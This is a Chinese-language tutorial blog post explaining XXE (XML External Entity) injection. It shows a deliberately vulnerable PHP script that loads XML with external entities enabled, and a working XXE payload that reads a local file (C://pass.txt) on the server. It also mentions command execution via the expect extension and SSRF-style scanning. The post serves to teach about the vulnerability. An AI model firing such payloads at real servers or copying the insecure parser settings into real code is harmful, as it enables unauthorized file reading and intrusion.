zoukankan      html  css  js  c++  java
  • XXE漏洞

    简介


    XXE (XML External Entity Injection) 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载。

    简单的理解,一个实体就是一个变量,可以在文档中的其他位置引用该变量。

    实体主要分为四种:

    • 内置实体 (Built-in entities)
    • 字符实体 (Character entities)
    • 通用实体 (General entities)
    • 参数实体 (Parameter entities)

    完整的介绍可以参考:   DTD - Entities

    到此网站学习一下:  http://www.w3school.com.cn/dtd/

                   http://www.w3school.com.cn/xml

                 http://www.w3school.com.cn/xml

                 http://hublog.hubmed.org/archives/001854.html

                 https://www.tutorialspoint.com/dtd/dtd_entities.htm

                 http://blog.leanote.com/post/xuxi/XXE%E6%80%BB%E7%BB%93  //XXE总结

                 https://security.tencent.com/index.php/blog/msg/69

                http://www.freebuf.com/articles/web/97833.html

    危害:

    对于 XXE 的危害,主要有:

    • 窃取敏感数据 (extracting sensitive data).
    • 远程代码执行 (remote code execution).
    • 攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等.

    举例:

    • 服务器上面有一个xxeInject.php存在一个注入的文件,正常访问。

    • 文件内容:
    <?php
    #关闭Warning
    error_reporting(E_ALL^E_NOTICE^E_WARNING);
    
    #加载xml文件,不懂php://input 参考下面链接
    #http://taoshi.blog.51cto.com/1724747/1165499
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    
    # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
    # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    
    $creds = simplexml_import_dom($dom);
    $user = $creds->user;
    $pass = $creds->pass;
    
    echo "Hello DaLao:" . "<br>" . "$user";
    ?>
    • 存在一个POST,XXE注入,所以我们构造代码,进行注入,因为是测试,我新建了一个文件如:C://pass.txt,内容:ONDragon'Password,我们就利用这个漏洞进行此文件的读取。
    • 构造代码:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ONDragon [
    <!ELEMENT ONDragon ANY >
    <!ENTITY xxe SYSTEM "file:///C://pass.txt" >]>
    <creds>
        <user>&xxe;</user>
        <pass>ONDragon</pass>
    </creds>
    • 我们打开火狐的Live Http这个小插件进行POST数据注入。

    • 把我们的POST数据包复制上去,然后Replay,就可以获取C://pass.txt,内容:ONDragon'Password啦。

    • 可以看到利用它,可以查看服务器上的文件。
    • 命令执行得需要服务器有一个expect扩展插件,如果按照此插件,就可以进行远程命令执行。
    • 此外还可以进行类似SSRF的攻击,内网信息收集,端口扫描等等。
  • 相关阅读:
    centos 7安装配置vsftpd
    lvs和haproxy机器必须注意的三个参数
    用python 脚本实现zabbix对java端口报警
    git的下载地址
    看的一篇很好的博客
    学习内容
    数组一些用法
    dom
    dom1
    for的基础
  • 原文地址:https://www.cnblogs.com/DeeLMind/p/6897967.html
Copyright © 2011-2022 走看看